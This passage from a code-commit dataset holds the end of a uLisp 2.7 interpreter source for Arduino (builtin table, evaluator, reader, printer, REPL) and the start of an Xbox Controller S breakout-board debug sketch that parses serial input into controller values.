fn_symbolp, 1, 1 },\n { string47, fn_streamp, 1, 1 },\n { string48, fn_eq, 2, 2 },\n { string49, fn_car, 1, 1 },\n { string50, fn_car, 1, 1 },\n { string51, fn_cdr, 1, 1 },\n { string52, fn_cdr, 1, 1 },\n { string53, fn_caar, 1, 1 },\n { string54, fn_cadr, 1, 1 },\n { string55, fn_cadr, 1, 1 },\n { string56, fn_cdar, 1, 1 },\n { string57, fn_cddr, 1, 1 },\n { string58, fn_caaar, 1, 1 },\n { string59, fn_caadr, 1, 1 },\n { string60, fn_cadar, 1, 1 },\n { string61, fn_caddr, 1, 1 },\n { string62, fn_caddr, 1, 1 },\n { string63, fn_cdaar, 1, 1 },\n { string64, fn_cdadr, 1, 1 },\n { string65, fn_cddar, 1, 1 },\n { string66, fn_cdddr, 1, 1 },\n { string67, fn_length, 1, 1 },\n { string68, fn_list, 0, 127 },\n { string69, fn_reverse, 1, 1 },\n { string70, fn_nth, 2, 2 },\n { string71, fn_assoc, 2, 2 },\n { string72, fn_member, 2, 2 },\n { string73, fn_apply, 2, 127 },\n { string74, fn_funcall, 1, 127 },\n { string75, fn_append, 0, 127 },\n { string76, fn_mapc, 2, 3 },\n { string77, fn_mapcar, 2, 3 },\n { string78, fn_mapcan, 2, 3 },\n { string79, fn_add, 0, 127 },\n { string80, fn_subtract, 1, 127 },\n { string81, fn_multiply, 0, 127 },\n { string82, fn_divide, 1, 127 },\n { string83, fn_mod, 2, 2 },\n { string84, fn_oneplus, 1, 1 },\n { string85, fn_oneminus, 1, 1 },\n { string86, fn_abs, 1, 1 },\n { string87, fn_random, 1, 1 },\n { string88, fn_maxfn, 1, 127 },\n { string89, fn_minfn, 1, 127 },\n { string90, fn_noteq, 1, 127 },\n { string91, fn_numeq, 1, 127 },\n { string92, fn_less, 1, 127 },\n { string93, fn_lesseq, 1, 127 },\n { string94, fn_greater, 1, 127 },\n { string95, fn_greatereq, 1, 127 },\n { string96, fn_plusp, 1, 1 },\n { string97, fn_minusp, 1, 1 },\n { string98, fn_zerop, 1, 1 },\n { string99, fn_oddp, 1, 1 },\n { string100, fn_evenp, 1, 1 },\n { string101, fn_integerp, 1, 1 },\n { string102, fn_numberp, 1, 1 },\n { string103, fn_floatfn, 1, 1 },\n { string104, fn_floatp, 1, 1 },\n { string105, fn_sin, 1, 1 },\n { string106, fn_cos, 1, 1 },\n { string107, fn_tan, 1, 1 },\n { string108, fn_asin, 1, 1 },\n { string109, fn_acos, 1, 1 },\n { string110, fn_atan, 1, 2 },\n { string111, fn_sinh, 1, 1 },\n { string112, fn_cosh, 1, 1 },\n { string113, fn_tanh, 1, 1 },\n { string114, fn_exp, 1, 1 },\n { string115, fn_sqrt, 1, 1 },\n { string116, fn_log, 1, 2 },\n { string117, fn_expt, 2, 2 },\n { string118, fn_ceiling, 1, 2 },\n { string119, fn_floor, 1, 2 },\n { string120, fn_truncate, 1, 2 },\n { string121, fn_round, 1, 2 },\n { string122, fn_char, 2, 2 },\n { string123, fn_charcode, 1, 1 },\n { string124, fn_codechar, 1, 1 },\n { string125, fn_characterp, 1, 1 },\n { string126, fn_stringp, 1, 1 },\n { string127, fn_stringeq, 2, 2 },\n { string128, fn_stringless, 2, 2 },\n { string129, fn_stringgreater, 2, 2 },\n { string130, fn_sort, 2, 2 },\n { string131, fn_stringfn, 1, 1 },\n { string132, fn_concatenate, 1, 127 },\n { string133, fn_subseq, 2, 3 },\n { string134, fn_readfromstring, 1, 1 },\n { string135, fn_princtostring, 1, 1 },\n { string136, fn_prin1tostring, 1, 1 },\n { string137, fn_logand, 0, 127 },\n { string138, fn_logior, 0, 127 },\n { string139, fn_logxor, 0, 127 },\n { string140, fn_lognot, 1, 1 },\n { string141, fn_ash, 2, 2 },\n { string142, fn_logbitp, 2, 2 },\n { string143, fn_eval, 1, 1 },\n { string144, fn_globals, 0, 0 },\n { string145, fn_locals, 0, 0 },\n { string146, fn_makunbound, 1, 1 },\n { string147, fn_break, 0, 0 },\n { string148, fn_read, 0, 1 },\n { string149, fn_prin1, 1, 2 },\n { string150, fn_print, 1, 2 },\n { string151, fn_princ, 1, 2 },\n { string152, fn_terpri, 0, 1 },\n { string153, fn_readbyte, 0, 2 },\n { string154, fn_readline, 0, 1 },\n { string155, fn_writebyte, 1, 2 },\n { string156, fn_writestring, 1, 2 },\n { string157, fn_writeline, 1, 2 },\n { string158, fn_restarti2c, 1, 2 },\n { string159, fn_gc, 0, 0 },\n { string160, fn_room, 0, 0 },\n { string161, fn_saveimage, 0, 1 },\n { string162, fn_loadimage, 0, 1 },\n { string163, fn_cls, 0, 0 },\n { string164, fn_pinmode, 2, 2 },\n { string165, fn_digitalread, 1, 1 },\n { string166, fn_digitalwrite, 2, 2 },\n { string167, fn_analogread, 1, 1 },\n { string168, fn_analogwrite, 2, 2 },\n { string169, fn_delay, 1, 1 },\n { string170, fn_millis, 0, 0 },\n { string171, fn_sleep, 1, 1 },\n { string172, fn_note, 0, 3 },\n { string173, fn_edit, 1, 1 },\n { string174, fn_pprint, 1, 2 },\n { string175, fn_pprintall, 0, 0 },\n { string176, fn_require, 1, 1 },\n { string177, fn_listlibrary, 0, 0 },\n};\n\n\/\/ Table lookup functions\n\nint builtin (char* n) {\n int entry = 0;\n while (entry < ENDFUNCTIONS) {\n if (strcasecmp(n, (char*)lookup_table[entry].string) == 0)\n return entry;\n entry++;\n }\n return ENDFUNCTIONS;\n}\n\nint longsymbol (char *buffer) {\n char *p = SymbolTable;\n int i = 0;\n while (strcasecmp(p, buffer) != 0) {p = p + strlen(p) + 1; i++; }\n if (p == buffer) {\n \/\/ Add to symbol table?\n char *newtop = SymbolTop + strlen(p) + 1;\n if (SYMBOLTABLESIZE - (newtop - SymbolTable) < BUFFERSIZE) error(PSTR(\"No room for long symbols\"));\n SymbolTop = newtop;\n }\n if (i > 1535) error(PSTR(\"Too many long symbols\"));\n return i + 64000; \/\/ First number unused by radix40\n}\n\nintptr_t lookupfn (symbol_t name) {\n return (intptr_t)lookup_table[name].fptr;\n}\n\nuint8_t lookupmin (symbol_t name) {\n return lookup_table[name].min;\n}\n\nuint8_t lookupmax (symbol_t name) {\n return lookup_table[name].max;\n}\n\nchar *lookupbuiltin (symbol_t name) {\n char *buffer = SymbolTop;\n strcpy(buffer, (char *)lookup_table[name].string);\n return buffer;\n}\n\nchar *lookupsymbol (symbol_t name) {\n char *p = SymbolTable;\n int i = name - 64000;\n while (i > 0 && p < SymbolTop) {p = p + strlen(p) + 1; i--; }\n if (p == SymbolTop) return NULL; else return p;\n}\n\nvoid deletesymbol (symbol_t name) {\n char *p = lookupsymbol(name);\n if (p == NULL) return;\n char *q = p + strlen(p) + 1;\n *p = '\\0'; p++;\n while (q < SymbolTop) *(p++) = *(q++);\n SymbolTop = p;\n}\n\nvoid testescape () {\n if (Serial.read() == '~') error(PSTR(\"Escape!\"));\n}\n\n\/\/ Main evaluator\n\nuint8_t End;\n\nobject *eval (object *form, object *env) {\n int TC=0;\n EVAL:\n yield(); \/\/ Needed on ESP8266 to avoid Soft WDT Reset\n \/\/ Enough space?\n if (End != 0xA5) error(PSTR(\"Stack overflow\"));\n if (Freespace <= WORKSPACESIZE>>4) gc(form, env);\n \/\/ Escape\n if (tstflag(ESCAPE)) { clrflag(ESCAPE); error(PSTR(\"Escape!\"));}\n #if defined (serialmonitor)\n testescape();\n #endif \n \n if (form == NULL) return nil;\n\n if (integerp(form) || floatp(form) || characterp(form) || stringp(form)) return form;\n\n if (symbolp(form)) {\n symbol_t name = form->name;\n if (name == NIL) return nil;\n object *pair = value(name, env);\n if (pair != NULL) return cdr(pair);\n pair = value(name, GlobalEnv);\n if (pair != NULL) return cdr(pair);\n else if (name <= ENDFUNCTIONS) return form;\n error2(form, PSTR(\"undefined\"));\n }\n \n \/\/ It's a list\n object *function = car(form);\n object *args = cdr(form);\n\n if (function == NULL) error3(NIL, PSTR(\"is an illegal function\"));\n if (!listp(args)) error(PSTR(\"Can't evaluate a dotted pair\"));\n\n \/\/ List starts with a symbol?\n if (symbolp(function)) {\n symbol_t name = function->name;\n\n if ((name == LET) || (name == LETSTAR)) {\n int TCstart = TC;\n object *assigns = first(args);\n object *forms = cdr(args);\n object *newenv = env;\n push(newenv, GCStack);\n while (assigns != NULL) {\n object *assign = car(assigns);\n if (!consp(assign)) push(cons(assign,nil), newenv);\n else if (cdr(assign) == NULL) push(cons(first(assign),nil), newenv);\n else push(cons(first(assign),eval(second(assign),env)), newenv);\n car(GCStack) = newenv;\n if (name == LETSTAR) env = newenv;\n assigns = cdr(assigns);\n }\n env = newenv;\n pop(GCStack);\n form = tf_progn(forms,env);\n TC = TCstart;\n goto EVAL;\n }\n\n if (name == LAMBDA) {\n if (env == NULL) return form;\n object *envcopy = NULL;\n while (env != NULL) {\n object *pair = first(env);\n if (pair != NULL) push(pair, envcopy);\n env = cdr(env);\n }\n return cons(symbol(CLOSURE), cons(envcopy,args));\n }\n \n if (name < SPECIAL_FORMS) error2(function, PSTR(\"can't be used as a function\"));\n\n if ((name > SPECIAL_FORMS) && (name < TAIL_FORMS)) {\n return ((fn_ptr_type)lookupfn(name))(args, env);\n }\n\n if ((name > TAIL_FORMS) && (name < FUNCTIONS)) {\n form = ((fn_ptr_type)lookupfn(name))(args, env);\n TC = 1;\n goto EVAL;\n }\n }\n \n \/\/ Evaluate the parameters - result in head\n object *fname = car(form);\n int TCstart = TC;\n object *head = cons(eval(car(form), env), NULL);\n push(head, GCStack); \/\/ Don't GC the result list\n object *tail = head;\n form = cdr(form);\n int nargs = 0;\n\n while (form != NULL){\n object *obj = cons(eval(car(form),env),NULL);\n cdr(tail) = obj;\n tail = obj;\n form = cdr(form);\n nargs++;\n }\n \n function = car(head);\n args = cdr(head);\n \n if (symbolp(function)) {\n symbol_t name = function->name;\n if (name >= ENDFUNCTIONS) error2(fname, PSTR(\"is not valid here\"));\n if (nargs<lookupmin(name)) error2(fname, PSTR(\"has too few arguments\"));\n if (nargs>lookupmax(name)) error2(fname, PSTR(\"has too many arguments\"));\n object *result = ((fn_ptr_type)lookupfn(name))(args, env);\n pop(GCStack);\n return result;\n }\n \n if (listp(function) && issymbol(car(function), LAMBDA)) {\n form = closure(TCstart, fname, NULL, cdr(function), args, &env);\n pop(GCStack);\n int trace = tracing(fname->name);\n if (trace) {\n object *result = eval(form, env);\n indent((--(TraceDepth[trace-1]))<<1, pserial);\n pint(TraceDepth[trace-1], pserial);\n pserial(':'); pserial(' ');\n printobject(fname, pserial); pfstring(PSTR(\" returned \"), pserial);\n printobject(result, pserial); pln(pserial);\n return result;\n } else {\n TC = 1;\n goto EVAL;\n }\n }\n\n if (listp(function) && issymbol(car(function), CLOSURE)) {\n function = cdr(function);\n form = closure(TCstart, fname, car(function), cdr(function), args, &env);\n pop(GCStack);\n TC = 1;\n goto EVAL;\n } \n \n error2(fname, PSTR(\"is an illegal function\")); return nil;\n}\n\n\/\/ Print functions\n\ninline int maxbuffer (char *buffer) {\n return SYMBOLTABLESIZE-(buffer-SymbolTable)-1;\n}\n\nvoid pserial (char c) {\n LastPrint = c;\n if (c == '\\n') Serial.write('\\r');\n Serial.write(c);\n}\n\nconst char ControlCodes[] PROGMEM = \"Null\\0SOH\\0STX\\0ETX\\0EOT\\0ENQ\\0ACK\\0Bell\\0Backspace\\0Tab\\0Newline\\0VT\\0\"\n\"Page\\0Return\\0SO\\0SI\\0DLE\\0DC1\\0DC2\\0DC3\\0DC4\\0NAK\\0SYN\\0ETB\\0CAN\\0EM\\0SUB\\0Escape\\0FS\\0GS\\0RS\\0US\\0Space\\0\";\n\nvoid pcharacter (char c, pfun_t pfun) {\n if (!PrintReadably) pfun(c);\n else {\n pfun('#'); pfun('\\\\');\n if (c > 32) pfun(c);\n else {\n const char *p = ControlCodes;\n while (c > 0) {p = p + strlen(p) + 1; c--; }\n pfstring(p, pfun);\n }\n }\n}\n\nvoid pstring (char *s, pfun_t pfun) {\n while (*s) pfun(*s++);\n}\n\nvoid printstring (object *form, pfun_t pfun) {\n if (PrintReadably) pfun('\"');\n form = cdr(form);\n while (form != NULL) {\n int chars = form->integer;\n for (int i=(sizeof(int)-1)*8; i>=0; i=i-8) {\n char ch = chars>>i & 0xFF;\n if (PrintReadably && (ch == '\"' || ch == '\\\\')) pfun('\\\\');\n if (ch) pfun(ch);\n }\n form = car(form);\n }\n if (PrintReadably) pfun('\"');\n}\n\nvoid pfstring (const char *s, pfun_t pfun) {\n int p = 0;\n while (1) {\n char c = s[p++];\n if (c == 0) return;\n pfun(c);\n }\n}\n\nvoid pint (int i, pfun_t pfun) {\n int lead = 0;\n #if INT_MAX == 32767\n int p = 10000;\n #else\n int p = 1000000000;\n #endif\n if (i<0) pfun('-');\n for (int d=p; d>0; d=d\/10) {\n int j = i\/d;\n if (j!=0 || lead || d==1) { pfun(abs(j)+'0'); lead=1;}\n i = i - j*d;\n }\n}\n\nvoid pmantissa (float f, pfun_t pfun) {\n int sig = floor(log10(f));\n int mul = pow(10, 5 - sig);\n int i = round(f * mul);\n boolean point = false;\n if (i == 1000000) { i = 100000; sig++; }\n if (sig < 0) {\n pfun('0'); pfun('.'); point = true;\n for (int j=0; j < - sig - 1; j++) pfun('0');\n }\n mul = 100000;\n for (int j=0; j<7; j++) {\n int d = (int)(i \/ mul);\n pfun(d + '0');\n i = i - d * mul;\n if (i == 0) { \n if (!point) {\n for (int k=j; k<sig; k++) pfun('0');\n pfun('.'); pfun('0');\n }\n return;\n }\n if (j == sig && sig >= 0) { pfun('.'); point = true; }\n mul = mul \/ 10;\n }\n}\n\nvoid pfloat (float f, pfun_t pfun) {\n if (isnan(f)) { pfstring(PSTR(\"NaN\"), pfun); return; }\n if (f == 0.0) { pfun('0'); return; }\n if (isinf(f)) { pfstring(PSTR(\"Inf\"), pfun); return; }\n if (f < 0) { pfun('-'); f = -f; }\n \/\/ Calculate exponent\n int e = 0;\n if (f < 1e-3 || f >= 1e5) {\n e = floor(log(f) \/ 2.302585); \/\/ log10 gives wrong result\n f = f \/ pow(10, e);\n }\n \n pmantissa (f, pfun);\n \n \/\/ Exponent\n if (e != 0) {\n pfun('e');\n pint(e, pfun);\n }\n}\n\ninline void pln (pfun_t pfun) {\n pfun('\\n');\n}\n\nvoid pfl (pfun_t pfun) {\n if (LastPrint != '\\n') pfun('\\n');\n}\n\nvoid printobject (object *form, pfun_t pfun){\n if (form == NULL) pfstring(PSTR(\"nil\"), pfun);\n else if (listp(form) && issymbol(car(form), CLOSURE)) pfstring(PSTR(\"<closure>\"), pfun);\n else if (listp(form)) {\n pfun('(');\n printobject(car(form), pfun);\n form = cdr(form);\n while (form != NULL && listp(form)) {\n pfun(' ');\n printobject(car(form), pfun);\n form = cdr(form);\n }\n if (form != NULL) {\n pfstring(PSTR(\" . \"), pfun);\n printobject(form, pfun);\n }\n pfun(')');\n } else if (integerp(form)) {\n pint(integer(form), pfun);\n } else if (floatp(form)) {\n pfloat(fromfloat(form), pfun);\n } else if (symbolp(form)) {\n if (form->name != NOTHING) pstring(name(form), pfun);\n } else if (characterp(form)) {\n pcharacter(form->integer, pfun);\n } else if (stringp(form)) {\n printstring(form, pfun);\n } else if (streamp(form)) {\n pfstring(PSTR(\"<\"), pfun);\n if ((form->integer)>>8 == SPISTREAM) pfstring(PSTR(\"spi\"), pfun);\n else if ((form->integer)>>8 == I2CSTREAM) pfstring(PSTR(\"i2c\"), pfun);\n else if ((form->integer)>>8 == SDSTREAM) pfstring(PSTR(\"sd\"), pfun);\n else pfstring(PSTR(\"serial\"), pfun);\n pfstring(PSTR(\"-stream \"), pfun);\n pint(form->integer & 0xFF, pfun);\n pfun('>');\n } else\n error(PSTR(\"Error in print.\"));\n}\n\n\/\/ Read functions\n\nint glibrary () {\n if (LastChar) { \n char temp = LastChar;\n LastChar = 0;\n return temp;\n }\n char c = LispLibrary[GlobalStringIndex++];\n return (c != 0) ? c : -1; \/\/ -1?\n}\n\nvoid loadfromlibrary (object *env) { \n GlobalStringIndex = 0;\n object *line = read(glibrary);\n while (line != NULL) {\n eval(line, env);\n line = read(glibrary);\n }\n}\n\nint gserial () {\n if (LastChar) { \n char temp = LastChar;\n LastChar = 0;\n return temp;\n }\n while (!Serial.available());\n char temp = Serial.read();\n if (temp != '\\n') pserial(temp);\n return temp;\n}\n\nobject *nextitem (gfun_t gfun) {\n int ch = gfun();\n while(isspace(ch)) ch = gfun();\n\n if (ch == ';') {\n while(ch != '(') ch = gfun();\n ch = '(';\n }\n if (ch == '\\n') ch = gfun();\n if (ch == -1) return nil;\n if (ch == ')') return (object *)KET;\n if (ch == '(') return (object *)BRA;\n if (ch == '\\'') return (object *)QUO;\n\n \/\/ Parse string\n if (ch == '\"') return readstring('\"', gfun);\n \n \/\/ Parse symbol, character, or number\n int index = 0, base = 10, sign = 1;\n char *buffer = SymbolTop;\n int bufmax = maxbuffer(buffer); \/\/ Max index\n unsigned int result = 0;\n boolean isfloat = false;\n float fresult = 0.0;\n\n if (ch == '+') {\n buffer[index++] = ch;\n ch = gfun();\n } else if (ch == '-') {\n sign = -1;\n buffer[index++] = ch;\n ch = gfun();\n } else if (ch == '.') {\n buffer[index++] = ch;\n ch = gfun();\n if (ch == ' ') return (object *)DOT;\n isfloat = true;\n } else if (ch == '#') {\n ch = gfun() & ~0x20;\n if (ch == '\\\\') base = 0; \/\/ character\n else if (ch == 'B') base = 2;\n else if (ch == 'O') base = 8;\n else if (ch == 'X') base = 16;\n else if (ch == 0x07) return (object *)QUO;\n else error(PSTR(\"Illegal character after #\"));\n ch = gfun();\n }\n int valid; \/\/ 0=undecided, -1=invalid, +1=valid\n if (ch == '.') valid = 0; else if (digitvalue(ch)<base) valid = 1; else valid = -1;\n boolean isexponent = false;\n int exponent = 0, esign = 1;\n buffer[2] = '\\0'; \/\/ In case symbol is one letter\n float divisor = 10.0;\n \n while(!isspace(ch) && ch != ')' && ch != '(' && index < bufmax) {\n buffer[index++] = ch;\n if (base == 10 && ch == '.' && !isexponent) {\n isfloat = true;\n fresult = result;\n } else if (base == 10 && (ch == 'e' || ch == 'E')) {\n if (!isfloat) { isfloat = true; fresult = result; }\n isexponent = true;\n if (valid == 1) valid = 0; else valid = -1;\n } else if (isexponent && ch == '-') {\n esign = -esign;\n } else if (isexponent && ch == '+') {\n } else {\n int digit = digitvalue(ch);\n if (digitvalue(ch)<base && valid != -1) valid = 1; else valid = -1;\n if (isexponent) {\n exponent = exponent * 10 + digit;\n } else if (isfloat) {\n fresult = fresult + digit \/ divisor;\n divisor = divisor * 10.0;\n } else {\n result = result * base + digit;\n }\n }\n ch = gfun();\n }\n\n buffer[index] = '\\0';\n if (ch == ')' || ch == '(') LastChar = ch;\n if (isfloat && valid == 1) return makefloat(fresult * sign * pow(10, exponent * esign));\n else if (valid == 1) {\n if (base == 10 && result > ((unsigned int)INT_MAX+(1-sign)\/2)) \n return makefloat((float)result*sign);\n return number(result*sign);\n } else if (base == 0) {\n if (index == 1) return character(buffer[0]);\n const char* p = ControlCodes; char c = 0;\n while (c < 33) {\n if (strcasecmp(buffer, p) == 0) return character(c);\n p = p + strlen(p) + 1; c++;\n }\n error(PSTR(\"Unknown character\"));\n }\n \n int x = builtin(buffer);\n if (x == NIL) return nil;\n if (x < ENDFUNCTIONS) return newsymbol(x);\n else if (index < 4 && valid40(buffer)) return newsymbol(pack40(buffer));\n else return newsymbol(longsymbol(buffer));\n}\n\nobject *readrest (gfun_t gfun) {\n object *item = nextitem(gfun);\n object *head = NULL;\n object *tail = NULL;\n\n while (item != (object *)KET) {\n if (item == (object *)BRA) {\n item = readrest(gfun);\n } else if (item == (object *)QUO) {\n item = cons(symbol(QUOTE), cons(read(gfun), NULL));\n } else if (item == (object *)DOT) {\n tail->cdr = read(gfun);\n if (readrest(gfun) != NULL) error(PSTR(\"Malformed list\"));\n return head;\n } else {\n object *cell = cons(item, NULL);\n if (head == NULL) head = cell;\n else tail->cdr = cell;\n tail = cell;\n item = nextitem(gfun);\n }\n }\n return head;\n}\n\nobject *read (gfun_t gfun) {\n object *item = nextitem(gfun);\n if (item == (object *)KET) error(PSTR(\"Incomplete list\"));\n if (item == (object *)BRA) return readrest(gfun);\n if (item == (object *)DOT) return read(gfun);\n if (item == (object *)QUO) return cons(symbol(QUOTE), cons(read(gfun), NULL)); \n return item;\n}\n\n\/\/ Setup\n\nvoid initenv () {\n GlobalEnv = NULL;\n tee = symbol(TEE);\n}\n\nvoid setup () {\n Serial.begin(9600);\n while (!Serial);\n initworkspace();\n initenv();\n initsleep();\n pfstring(PSTR(\"uLisp 2.7 \"), pserial); pln(pserial);\n}\n\n\/\/ Read\/Evaluate\/Print loop\n\nvoid repl (object *env) {\n for (;;) {\n randomSeed(micros());\n gc(NULL, env);\n #if defined (printfreespace)\n pint(Freespace, pserial);\n #endif\n if (BreakLevel) {\n pfstring(PSTR(\" : \"), pserial);\n pint(BreakLevel, pserial);\n }\n pfstring(PSTR(\"> \"), pserial);\n object *line = read(gserial);\n if (BreakLevel && line == nil) { pln(pserial); return; }\n if (line == (object *)KET) error(PSTR(\"Unmatched right bracket\"));\n push(line, GCStack);\n pfl(pserial);\n line = eval(line, env);\n pfl(pserial);\n printobject(line, pserial);\n pop(GCStack);\n pfl(pserial);\n pln(pserial);\n }\n}\n\nvoid loop () {\n End = 0xA5; \/\/ Canary to check stack\n if (!setjmp(exception)) {\n #if defined(resetautorun)\n volatile int autorun = 12; \/\/ Fudge to keep code size the same\n #else\n volatile int autorun = 13;\n #endif\n if (autorun == 12) autorunimage();\n }\n \/\/ Come here after error\n delay(100); while (Serial.available()) Serial.read();\n for (int i=0; i<TRACEMAX; i++) TraceDepth[i] = 0;\n #if defined(sdcardsupport)\n SDpfile.close(); SDgfile.close();\n #endif\n #if defined(lisplibrary)\n if (!tstflag(LIBRARYLOADED)) { setflag(LIBRARYLOADED); loadfromlibrary(NULL); }\n #endif\n repl(NULL);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ulisp-arm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8c8f14d0024195dd2bc3b9bfe3127a501b904c31","subject":"Create Madtoyslab_XboxControllerSbreakout.ino","message":"Create Madtoyslab_XboxControllerSbreakout.ino\n\nAdded debug sketch before lib-like implementation","repos":"madtoyslab\/xbox-controller-s-breakout","old_file":"sketch\/Madtoyslab_XboxControllerSbreakout.ino","new_file":"sketch\/Madtoyslab_XboxControllerSbreakout.ino","new_contents":"\/*\n Madtoyslab. - Xbox Controller S breakout board V0.1a\n \n Debug sketch before lib-like implementation\n \n == ATmega328 pin mapping ==\n pin5\/D3(PWM) -> ljoyY PWM pin\n pin6\/D4 -> Shift Register Dx\n pin11\/D5(PWM) -> Shift Register STCP\n pin12\/D6(PWM) -> Shift Register SHCP\n pin13\/D7 -> ltrig PWM pin\n pin14\/D8 -> rtrig PWM pin\n pin15\/D9(PWM) -> rjoyX PWM pin\n pin16\/D10(PWM) -> rjoyY PWM pin\n pin17\/D11(PWM) -> ljoyX PWM pin\n pin19\/D13 -> status LED\n pin24\/A1 -> rjoyX DIR pin\n pin25\/A2 -> rjoyY DIR pin\n pin26\/A3 -> ljoyX DIR pin\n pin28\/A5 -> ljoyY DIR pin\n \n == 74HC595 n\u00b01 pin mappin ==\n Q0 -> B Btn pin\n Q1 -> X Btn pin \n Q2 -> A Btn pin\n Q3 -> Y Btn pin\n Q4 -> white Btn pin\n Q5 -> black Btn pin\n \n == 74HC595 n\u00b02 pin mappin ==\n Q0 -> keypad right pin [def high]\n Q1 -> keypad left pin [def high]\n Q2 -> keypad down pin [def high]\n Q3 -> keypad up pin [def high]\n Q4 -> start Btn pin [def high]\n Q5 -> back Btn pin [def high]\n Q6 -> rjoy SEL pin [def high]\n Q7 -> ljoy SEL pin [def high]\n \n StephaneAG - 2015\n*\/\n\n\n\/\/ == ATmega328 pin mapping ==\nconst int ljoyY_PWM_pin = 3; \/\/ pin5\/D3(PWM) -> ljoyY PWM pin\nconst int shRe_Dx_pin = 4; \/\/ pin6\/D4 -> Shift Register Dx ( data )\nconst int shRe_STCP_pin = 5; \/\/ pin11\/D5(PWM) -> Shift Register STCP ( latch )\nconst int shRe_SHCP_pin = 6; \/\/ pin12\/D6(PWM) -> Shift Register SHCP ( clock )\nconst int ltrig_pin = 7; \/\/ pin13\/D7 -> ltrig PWM pin\nconst int rtrig_pin = 8; \/\/ pin14\/D8 -> rtrig PWM pin\nconst int rjoyX_PWM_pin = 9; \/\/ pin15\/D9(PWM) -> rjoyX PWM pin\nconst int rjoyY_PWM_pin = 10; \/\/ pin16\/D10(PWM) -> rjoyY PWM pin\nconst int ljoyX_PWM_pin = 11; \/\/ pin17\/D11(PWM) -> ljoyX PWM pin\nconst int statusLed_pin = 13; \/\/ pin19\/D13 -> status LED\nconst int rjoyX_DIR_pin = A1; \/\/ pin24\/A1 -> rjoyX DIR pin\nconst int rjoyY_DIR_pin = A2; \/\/ pin25\/A2 -> rjoyY DIR pin\nconst int ljoyX_DIR_pin = A3; \/\/ pin26\/A3 -> ljoyX DIR pin\nconst int ljoyY_DIR_pin = A4; \/\/ pin28\/A5 -> ljoyY DIR pin\n\/\/ buffers\n\/\/ triggers\nint ltrig_chunk = 0; \/\/ updated by serial data\nint rtrig_chunk = 0; \/\/ updated by serial data\n\/\/ ljoy\nint ljoyX_chunk = 0; \/\/ updated by serial data\nint ljoyX_DIR = 0; \/\/ uberjoy's\nint ljoyX_PWM = 0; \/\/ uberjoy's\nint ljoyY_chunk = 0; \/\/ updated by serial data\nint ljoyY_DIR = 0; \/\/ uberjoy's\nint ljoyY_PWM = 0; \/\/ uberjoy's\n\/\/ rjoy\nint rjoyX_chunk = 0; \/\/ updated by serial data\nint rjoyX_DIR = 0; \/\/ uberjoy's\nint rjoyX_PWM = 0; \/\/ uberjoy's\nint rjoyY_chunk = 0; \/\/ updated by serial data\nint rjoyY_DIR = 0; \/\/ uberjoy's\nint rjoyY_PWM = 0; \/\/ uberjoy's\n\n\nbyte byteBuffer1 = 0; \/\/ 'll hold our bits pattern for the first shift-register\n\/\/ == 74HC595 n\u00b01 pin mappin ==\nint byteBuffer1_bBtn_chunk = 0; \/\/ Q0 -> B Btn pin\nint byteBuffer1_xBtn_chunk = 0; \/\/ Q1 -> X Btn pin\nint byteBuffer1_aBtn_chunk = 0; \/\/ Q2 -> A Btn pin\nint byteBuffer1_yBtn_chunk = 0; \/\/ Q3 -> Y Btn pin\nint byteBuffer1_whiteBtn_chunk = 0; \/\/ Q4 -> white Btn pin\nint byteBuffer1_blackBtn_chunk = 0; \/\/ Q5 -> black Btn pin\nint byteBuffer1_NA1_chunk = 0; \/\/ Q6 -> N\/A\nint byteBuffer1_NA2_chunk = 0; \/\/ Q7 -> N\/A\n\nbyte byteBuffer2 = 0; \/\/ 'll hold our bits pattern for the second shift-register\n\/\/ == 74HC595 n\u00b02 pin mappin ==\nint byteBuffer2_keypadRight_chunk = 0; \/\/ Q0 -> keypad right pin\nint byteBuffer2_keypadLeft_chunk = 0; \/\/ Q1 -> keypad left pin\nint byteBuffer2_keypadDown_chunk = 0; \/\/ Q2 -> keypad down pin\nint byteBuffer2_keypadUp_chunk = 0; \/\/ Q3 -> keypad up pin\nint byteBuffer2_startBtn_chunk = 0; \/\/ Q4 -> start Btn pin\nint byteBuffer2_backBtn_chunk = 0; \/\/ Q5 -> back Btn pin\nint byteBuffer2_rjoySel_chunk = 0; \/\/ Q6 -> rjoy SEL pin\nint byteBuffer2_ljoySel_chunk = 0; \/\/ Q7 -> ljoy SEL pin\n\n\nvoid setup(){\n Serial.begin(9600);\n \n \/\/ ATmega328 setup\n pinMode(statusLed_pin, OUTPUT);\n pinMode(ltrig_pin, OUTPUT);\n pinMode(rtrig_pin, OUTPUT);\n pinMode(ljoyX_DIR_pin, OUTPUT);\n pinMode(ljoyX_PWM_pin, OUTPUT);\n pinMode(ljoyY_DIR_pin, OUTPUT);\n pinMode(ljoyY_PWM_pin, OUTPUT);\n pinMode(rjoyX_DIR_pin, OUTPUT);\n pinMode(rjoyX_PWM_pin, OUTPUT);\n pinMode(rjoyY_DIR_pin, OUTPUT);\n pinMode(rjoyY_PWM_pin, OUTPUT);\n \n \/\/ shift-registers setup\n pinMode(shRe_Dx_pin, OUTPUT);\n pinMode(shRe_STCP_pin, OUTPUT);\n pinMode(shRe_SHCP_pin, OUTPUT);\n \n \/\/ uberjoys setup\n initUberJoy(ljoyX_DIR_pin, ljoyX_PWM_pin);\n initUberJoy(ljoyY_DIR_pin, ljoyY_PWM_pin);\n initUberJoy(rjoyX_DIR_pin, rjoyX_PWM_pin);\n initUberJoy(rjoyY_DIR_pin, rjoyY_PWM_pin);\n \n digitalWrite(statusLed_pin, HIGH);\n Serial.println(\"XboxControllerS - breakout board: Booted\");\n}\n\n\nvoid loop(){\n handleSerial(); \/\/ handle serial data\n}\n\n\nvoid handleSerial(){\n while( Serial.available() > 0 ){\n \n \/\/ read from the serial conn & update skecthes' values \/ shift register's chunks\n \/\/ \/!\\ R: adjust the order of the calls to Serial.parseInt() to reflect the order of the Python Companion app\n \/\/ == direct values ==\n ltrig_chunk = Serial.parseInt();\n rtrig_chunk = Serial.parseInt();\n ljoyX_chunk = Serial.parseInt();\n ljoyY_chunk = Serial.parseInt();\n rjoyX_chunk = Serial.parseInt();\n rjoyY_chunk = Serial.parseInt();\n \n \/\/ == byte buffer n\u00b01 ==\n byteBuffer1_bBtn_chunk = Serial.parseInt();\n byteBuffer1_xBtn_chunk = Serial.parseInt();\n byteBuffer1_aBtn_chunk = Serial.parseInt();\n byteBuffer1_yBtn_chunk = Serial.parseInt();\n byteBuffer1_whiteBtn_chunk = Serial.parseInt();\n 